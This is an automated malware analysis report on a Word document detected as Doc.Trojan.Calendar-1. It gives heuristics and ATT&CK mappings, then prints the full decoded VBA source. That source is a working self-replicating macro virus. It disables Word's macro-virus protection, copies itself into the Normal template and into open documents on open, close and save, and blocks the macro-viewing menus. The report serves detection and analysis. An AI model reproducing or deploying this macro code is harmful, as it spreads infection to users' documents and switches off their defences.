MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose routines, which are indicative of malicious intent. The script attempts to copy the 'Calendar' VBA project to both the Normal template and the active document, suggesting an attempt to establish persistence or ensure the macro is available for execution. The ClamAV detection 'Doc.Trojan.Calendar-1' further supports the malicious classification.
Heuristics 6
-
ClamAV: Doc.Trojan.Calendar-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Calendar-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9030 bytes |
SHA-256: 9c337375c0c82ff78c5a57b7efffbfaa2ffabdd1906cca000c81c705cb833035 |
|||
|
Detection
ClamAV:
Doc.Trojan.Calendar-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Calendar"
Sub AutoOpen()
On Error GoTo Calendar
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
DocumentInstalled = 0
GlobalInstalled = 0
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "Calendar" Then
GlobalInstalled = 1
End If
Next
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Calendar" Then
DocumentInstalled = 1
End If
Next
If GlobalInstalled = 0 Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = 0 Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Calendar
Application.DisplayAlerts = wdAlertsAll
Calendar:
End Sub
Sub AutoClose()
On Error GoTo Calendar
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = 0
DocumentInstalled = 0
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Calendar" Then
DocumentInstalled = 1
End If
Next
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "Calendar" Then
GlobalInstalled = 1
End If
Next
If GlobalInstalled = 0 Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
If DocumentInstalled = 0 Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
Calendar
Application.DisplayAlerts = wdAlertsAll
Calendar:
End Sub
Sub ToolsMacro()
Calendar
MsgBox "You do not have permission to do this", vbExclamation, "Microsoft Word"
End Sub
Sub FileSaveAs()
Dialogs(wdDialogFileSaveAs).Show
On Error GoTo Calendar
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
DocumentInstalled = 0
GlobalInstalled = 0
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "Calendar" Then
GlobalInstalled = 1
End If
Next
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Calendar" Then
DocumentInstalled = 1
End If
Next
If DocumentInstalled = 0 Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobalInstalled = 0 Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Calendar", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Calendar
Application.DisplayAlerts = wdAlertsAll
Calendar:
End Sub
Sub FileTemplates()
Calendar
MsgBox "You do not have permission to do this", vbExclamation, "Microsoft Word"
End Sub
Sub Calendar()
On Error GoTo Calendar1
If Month(Now()) = 1 And Day(Now()) = 1 Then
MsgBox "New Year's Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 1 And Day(Now()) = 20 Then
MsgBox "Martin Luther King Jr. Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 2 And Day(Now()) = 12 Then
MsgBox "President Lincoln's Birthday and Ash Wednesday", vbOKOnly, "Calendar"
End If
If Month(Now()) = 2 And Day(Now()) = 14 Then
MsgBox "Valentine's Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 2 And Day(Now()) = 17 Then
MsgBox "Presidents Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 2 And Day(Now()) = 22 Then
MsgBox "President Washington's Birthday", vbOKOnly, "Calendar"
End If
If Month(Now()) = 3 And Day(Now()) = 17 Then
MsgBox "St. Patrick's Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 3 And Day(Now()) = 23 Then
MsgBox "Palm Sunday", vbOKOnly, "Calendar"
End If
If Month(Now()) = 3 And Day(Now()) = 28 Then
MsgBox "Good Friday", vbOKOnly, "Calendar"
End If
If Month(Now()) = 3 And Day(Now()) = 30 Then
MsgBox "Easter", vbOKOnly, "Calendar"
End If
If Month(Now()) = 4 And Day(Now()) = 22 Then
MsgBox "Passover", vbOKOnly, "Calendar"
End If
If Month(Now()) = 5 And Day(Now()) = 9 Then
MsgBox "Calendar, coded by DarkChasm [SLAM]", vbOKOnly, "Calendar"
End If
If Month(Now()) = 5 And Day(Now()) = 11 Then
MsgBox "Mother's Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 5 And Day(Now()) = 17 Then
MsgBox "Armed Forces Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 5 And Day(Now()) = 19 Then
MsgBox "Victoria Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 5 And Day(Now()) = 26 Then
MsgBox "Memorial Day Observed", vbOKOnly, "Calendar"
End If
If Month(Now()) = 5 And Day(Now()) = 30 Then
MsgBox "Traditional Memorial Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 6 And Day(Now()) = 15 Then
MsgBox "Father's Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 7 And Day(Now()) = 1 Then
MsgBox "Canada Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 7 And Day(Now()) = 4 Then
MsgBox "Independence Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 10 And Day(Now()) = 2 Then
MsgBox "Rosh Hashonah", vbOKOnly, "Calendar"
End If
If Month(Now()) = 10 And Day(Now()) = 11 Then
MsgBox "Yom Kippur", vbOKOnly, "Calendar"
End If
If Month(Now()) = 10 And Day(Now()) = 12 Then
MsgBox "Columbus Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 10 And Day(Now()) = 13 Then
MsgBox "Columbus Day Observed", vbOKOnly, "Calendar"
End If
If Month(Now()) = 10 And Day(Now()) = 16 Then
MsgBox "Happy Birthday DarkChasm", vbOKOnly, "Calendar"
End If
If Month(Now()) = 10 And Day(Now()) = 24 Then
MsgBox "United Nations Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 10 And Day(Now()) = 31 Then
MsgBox "Halloween", vbOKOnly, "Calendar"
End If
If Month(Now()) = 11 And Day(Now()) = 4 Then
MsgBox "Election Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 11 And Day(Now()) = 11 Then
MsgBox "Veteran's Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 11 And Day(Now()) = 27 Then
MsgBox "ThanksGiving Day", vbOKOnly, "Calendar"
End If
If Month(Now()) = 12 And Day(Now()) = 21 Then
MsgBox "Happy Birthday Christy", vbOKOnly, "Calendar"
End If
If Month(Now()) = 12 And Day(Now()) = 24 Then
MsgBox "Christmas Eve and Hanukkah", vbOKOnly, "Calendar"
End If
If Month(Now()) = 12 And Day(Now()) = 25 Then
MsgBox "Christmas", vbOKOnly, "Calendar"
End If
If Month(Now()) = 12 And Day(Now()) = 31 Then
MsgBox "New Year's Eve", vbOKOnly, "Calendar"
End If
Calendar1:
End Sub
Sub ViewVBCode()
Calendar
MsgBox "You do not have permission to do this", vbExclamation, "Microsoft Word"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.